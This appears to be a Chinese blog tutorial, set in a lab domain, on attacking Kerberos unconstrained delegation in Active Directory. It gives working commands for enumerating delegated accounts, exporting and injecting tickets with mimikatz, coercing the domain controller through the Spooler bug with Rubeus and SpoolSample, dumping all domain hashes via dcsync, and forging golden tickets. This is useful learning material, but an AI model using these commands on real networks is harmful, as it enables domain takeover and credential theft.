CSDN文章自动迁移自博客

在Windows 2000 Server 首次发布 Active Directory 时,Microsoft 必须提供一种简单的机制来支持用户通过 Kerberos 向 Web Server 进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为“Kerberos 双跳问题”,并且要求进行委派,以便 Web Server 在修改数据库记录时模拟用户。Windows 2000 Server 发布的也是最初的非约束性委派。需要注意的一点是接受委派的用户只能是 服务账户 或者 计算机用户 。委派是域中的一种属性设置,是一个安全敏感的操作。是指将域内用户的权限委派给服务账号,使得服务账号能以用户权限访问域内的其他服务。

  • 如图,域用户 attack/Administrator 通过访问 Web 服务请求下载后台文件服务器中的文件,于是 Web 服务的服务账号 webservice 以域用户 attack/Administrator 的身份通过 Kerberos 认证协议或者其他身份认证协议的方式(其他身份认证协议可能存在于约束性委派或基于资源的约束性委派中,但域内基本上都是设置的仅使用 Kerberos 认证协议)请求后台文件服务器。这就是一个委派的流程。委派主要分为以下三种:

  • 非约束性委派 UD: Unconstrained Delegation

  • 约束性委派 CD: Constrained Delegation

  • 基于资源的约束性委派 RBCD: Resource Based Constrained Delegation

以下是本地操作环境:

  • 域:attack.cn

  • 域控:

  • 主域控:dc 系统:Windows Server 2012 R2 IP:192.168.11.11

  • 辅域控:dc02系统 :Windows Server 2012 R2 IP:192.168.11.13

  • 域内主机:

  • pc01 IP:192.168.11.15 系统:Windows7

  • 本地管理员:Administrator域账号:attckadmin 密码:123.com

  • pc02 IP:192.168.11.16 系统:Windows10

  • 本地管理员:Administrator 域账号:zhang 密码:321.com

  • 域用户:

  • 域管:attack\administrator

  • 普通域用户:attack\attackadmin

  • 普通域用户:attack\zhang

  • 配置委派的域用户和服务账号:attack\test

服务账号可以获取被委派用户的 TGT,并将 TGT 缓存到 lsass 进程中,从而服务账号可使用该 TGT,模拟该用户访问域内其他服务。非约束委派的设置需要 SeEnableDelegationPrivilege 权限,该特权通常只有域管理员才有。

在域控上配置非约束性委派

计算机用户的非约束性委派配置:控制面板\系统和安全\管理工具\Active Directory 用户和计算机(%SystemRoot%\system32\dsa.msc)—> 域名/Computers/名称/属性 —> 委派 —> 信任此计算机来委派任何服务 (仅 Kerberos)(T)

  • 配置了非约束性委派属性的计算机用户的userAccountControl属性有个 Flag 位WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的数是0x81000=528384。可在 Active Directory 用户和计算机窗口中开启查看的高级功能后选择对应机器名称属性中的属性编辑器中看到,如下图。

服务账号的非约束性委派配置,可以先创建一个普通用户 test

net user test P@ssw0rd /add /domain

普通用户默认没有委派的选项设置,需要给他注册一个服务主体名称(SPN)使其成为一个服务账号

setspn -U -A priv/test test

也可以查找指定 test 用户注册的 SPN

setspn -L test

这时候 test 用户就拥有委派的属性,可以将其设置为非约束性委派

  • 配置了非约束性委派属性的服务账号的userAccountControl属性有个 Flag 位NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION, 其对应的数是0x80200=528384。可在 Active Directory 用户和计算机窗口中开启查看的高级功能后选择对应服务账户名称属性中的属性编辑器中看到,如下图

查询非约束性委派的计算机或服务账号

默认域控是配置了非约束性委派的

PowerView

PowerView 有几个不同的版本,这里用的是 PowerShellEmpire 下的,脚本地址:https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1

# 导入 PowerView 脚本
import-module .\powerview.ps1# 查询域内非约束性委派的计算机
Get-NetComputer -Unconstrained -Domain attack.cn | select name# 查询域内非约束性委派的服务账号
Get-NetAdministrator -Unconstrained -Domain attack.cn | select name

Adfind

下载地址:

该工具不需要账号密码即可查询,其他支持 ldap 协议的工具也可以实现查询

# 查询域内非约束性委派的计算机
AdFind.exe -b "DC=attack,DC=cn" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn# 查询非约束性委派的服务账号
AdFind.exe -b "DC=attack,DC=cn" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

ldapsearch

kali 内置,其他系统安装

# Ubuntu 用户安装

sudo apt install ldap-utils

# mac 用户安装

brew install ldapvi

该工具需要域内任意用户的账号密码,可在域外查询。其他支持 ldap 协议的工具也可以实现查询。

查询域内非约束委派的计算机

# 实测不好用

ldapsearch -LLL -x -H ldap://192.168.11.11:389 -D "zhang@attack.cn" -w "321.com" -b dc=attack,dc=cn "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

查询非约束性委派的服务账号

ldapsearch -LLL -x -H ldap://192.168.11.11:389 -D "test@attack.cn" -w "P@ssw0rd"   -b dc=attack,DC=cn  "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

非约束性委派攻击

用户 Administrator 去访问服务 service,如果服务 service 的服务账户开启了非约束性委派,那么当用户 Administrator 访问服务 service 的时候会将用户 Administrator 的 TGT 发送给服务 service 并保存在内存中以备下次重用,所以服务 service 能够利用用户 Administrator 的身份去访问用户 Administrator 能够访问的任意服务。

两种攻击方式,一种是诱使域管用户(相当于是域内钓鱼)来访问配置了非约束性委派的主机或服务,二是结合打印机漏洞让域管用户强制回连以缓存 TGT。

模拟域管访问非约束性委派主机

模拟域管用户 attack/Administrator(只要是域管用户,不一定在域控)远程访问非约束性委派主机机 pc02 , pc01 已获得本地管理员权限。常见可利用钓鱼的连接方式可以是 MSSQL 或 IIS,这里演示域管用户 attack/Administrator 直接 IPC 连接 pc01 。

注意:

1、高版本的系统,实测win10启动管理员命令失败,即使启动成功也无法获取,win7域用户状态下,启动管理员权限,需要调用域管登录,然后管理员身份启动cmd,所以这个洞,在某些版本下真的很鸡肋!

2、另外需要注意的一个问题就是,检查域主机的防火墙!

pc02无法访问域控dc.attack.cn

dir \\dc.attack.cn\c$

域管用户 attack/Administrator IPC 连接 pc01

dir \\dc.attack.cn\c$

域管用户 attack/Administrator IPC 连接 pc01

net use \\pc01.attack.cn /Administrator:attack\administrator 1qaz@WSX

这适合 pc02 机器就已经有了域管 attack/Administrator 的 TGT 票据,可以用 mimikatz 导出

# mimikatz
privilege::debug
sekurlsa::tickets /exportmimikatz "privilege::debug" "sekurlsa::tickets /export" exit

然后通过 Pass The Ticket(PTT)将 TGT 注入到当前会话中

# mimikatz
kerberos::ptt [0;157a7b]-0-0-40a50000-Administrator@cifs-dc.attack.cn.kirbi
mimikatz "kerberos::ptt [0;157a7b]-0-0-40a50000-Administrator@cifs-dc.attack.cn.kirbi" exit# DOS
dir \\dc.attack.cn\c$

非约束性委派 +Spooler 打印机服务漏洞

利用 Windows 打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。

非约束性委派主机结合 Spooler 打印机服务漏洞,让域控机器 dc 强制访问已控的具有本地管理员权限的非约束性委派机器 pc02 ,从而拿到域管理员的 TGT,进而接管域控。

首先利用Rubeus在 pc02 上以 本地 管理员权限执行以下命令,每隔一秒监听来自域控机器 dc 的登录信息

已编译的 Rubeus 下载:

版本:https://github.com/GhostPack/Rubeus/releases/tag/1.6.4

注意:实测win10下,域网络防火墙会自动开启,域用户无法关闭,需本地管理员

# 需要注意:Rubeus的监听,需要在主机管理员用户下监听
Rubeus.exe monitor /interval:1 /filterAdministrator:dc$

再利用SpoolSample强制域控打印机回连,需在域用户进程上执行,所以这里切换成了普通域用户帐号去执行

已编译的 SpoolSample 下载:

# 需要注意:打印机服务漏洞,需要在域用户下进行触发,Rubeus的监听,需要在主机管理员用户下监听,所以可以用一台域用户下触发,另一台机器管理员用户去监听,或者切换账户进行监听和触发!
SpoolSample.exe dc pc02

同时 Rubeus 也获取到了来自域控 dc 的 TGT 票据

Rubeus 导入获取到的 TGT 票据

# 最方便的方法我测试到的是使用notepad++
Rubeus.exe ptt /ticket:Base64EncodedTicket
或者:
[IO.File]::WriteAllBytes("ptt.kirbi",[Convert]::FromBase64String(""))

这时候管理员权限运行 mimikatz 就可以获取域内所有用户的 NTLM hash,内存中也有了域管的 TGT 也可以直接 PTT。

mimikatz.exe "log" "lsadump::dcsync /all /csv" "exit"

接下来解密 NTLM hash 后可以直接登录域控,解不开也可以利用 krbtgt 的 NTLM hash 用于做黄金票据权限维持

有了黄金票据也同样可以访问域控了,使用 WinRM 服务来远程连接域控命令执行。

Enter-PSSession -ComputerName dc

转载请注明:Adminxe's Blog » Kerberos 域委派攻击之非约束性委派

Kerberos 域委派攻击之非约束性委派相关推荐

  1. 基于windows中委派的攻击思路(上)-约束性委派与非约束性委派

    文章目录 1. 前言 2. 发现具有委派关系的用户和计算机 2.1 原理 2.2 利用工具查找 1. ADFind 1.查询非约束委派的主机: 2.查询约束委派的主机 2. ldapsearch 1. ...

  2. 利用非约束性委派+Spooler打印机服务 制作黄金票据攻击域控

    目录 前言 攻击过程 Rubeus监听 利用打印服务强制让域控机向本机验证身份 提取TGT 注入TGT票据到当前会话并导出域控中所有用户的hash 制作黄金票据 前言 继上一篇 --> 域渗透- ...

  3. Kerberos 域委派攻击之约束性委派

    CSDN自动博客文章迁移 由于非约束性委派的不安全性,微软在 Windows Server 2003 中引入了约束委派.区别在于不会直接把 TGT 给服务,所发送的认证信息中包含了允许访问的服务,即不 ...

  4. 基于windows中委派的攻击思路(下)-基于资源的约束性委派

    文章目录 1. 前言 2. 技术点 2.1 利用原理: 那么如何获得一个机器账户呢? 如何获得一个有权利修改msDS-AllowedToActOnBehalfOfOtherIdentity? 3. 利 ...

  5. React学习:双向数据绑定、约束性和非约束性组件-学习笔记

    文章目录 React学习:双向数据绑定.约束性和非约束性组件-学习笔记 表单 约束性和非约束性组件(受限/非受限) 双向数据绑定小例子 React学习:双向数据绑定.约束性和非约束性组件-学习笔记 表 ...

  6. 互联网日报 | 茅台市值突破2万亿;新浪收到非约束性私有化要约;OPPO参与英国首个5G SA网络建设...

    今日看点 ✦ 新浪收到初步非约束性私有化要约,CEO控股公司提议私有化 ✦ 贵州茅台股价再创历史新高,总市值突破2万亿元 ✦ OPPO宣布与沃达丰和爱立信合作,参与英国首个5G SA网络建设 ✦ 小电 ...

  7. 域控-笔记三(非约束委派攻击,约束委派攻击)

    文章目录 一. 域委派 1.1 域委派分类 1.2 使用委派条件 1.3 非约束委派原理 1.4 非约束委派流程 1.5 约束委派原理 1.6 约束委派流程 二. 委派攻击 2.1 非约束委派攻击 本 ...

  8. 【内网安全】横向移动非约束委派约束委派资源约束委派数据库攻防

    文章目录 章节点 redteam.red 靶场 委派攻击分类: 关于约束委派与非约束委派 横向移动-原理利用-约束委派&非约束委派 非约束委派 复现配置 如何利用? klist purge 与 ...

  9. 域渗透之委派攻击全集

    声明 出品|先知社区(ID:永安寺) 以下内容,来自先知社区的永安寺作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任 ...

最新文章

  1. 解决Oracle错误ORA-15061一例
  2. MySQL一个语句查出各种整形占用字节数及最大最小值
  3. set 存放类或结构体的打印
  4. 【资源分享】分享十个历史版本的eclipse安装包
  5. 常见计算机蓝屏代码,老司机教你常见电脑蓝屏代码大全
  6. SAS入门 (二)--宏
  7. 菠萝来啦。新一代VueX 来啦 他有一个特别甜的名字“Pinia”,再不学你就out了【 Pinia/Vuex5中文文档】
  8. 工欲善其事,必先利其器
  9. 绿城濮园中国居业理想水镇发布;保乐力加中国开启产品鉴别双通道 | 美通企业日报...
  10. Docker一键部署MySQL
  11. 综合布线设计与实践知识点总结
  12. QTreeWidget去掉虚线框
  13. 【C指针】初识指针,轻松了解指针
  14. Springboot实战项目---从需求分析到项目部署一站式开发,给简历添加一点色彩
  15. Centos-openstack-Rocky-ironic部署
  16. [LUOGU] P4363 [九省联考2018]一双木棋chess
  17. 根据物理公式在Unity中实现抛物线运动.2
  18. 【Angular】Angular8开发拼多多——Angular CLI的环境配置
  19. DZ论坛克米模板3.5版全解密+完整插件/教程
  20. Graphviz 绘图软件

热门文章

  1. TC基础使用指南(基于xbeta的TC配置文件)
  2. Linux中vi\vim命令详解
  3. 8路巡回检测c语言程序,单片机驱动ds18b20四路温度巡回检测程序
  4. php时间自动运行,php定时执行_PHP定时执行程序脚本的例子总结
  5. Win32_11程序员求爱的创意程序——升级版^_^
  6. 云队友丨谁在“取代”华为?
  7. 如何利用SEO技术设置文章网页标题
  8. ASW3642/HDMI 二进一出方案与TS3DV642使用对比|HDMI切换器
  9. R统计绘图-PCA分析绘图及结果解读(误差线,多边形,双Y轴图、球形检验、KMO和变量筛选等)
  10. 怎么用OmniGraffle制作文章的封面?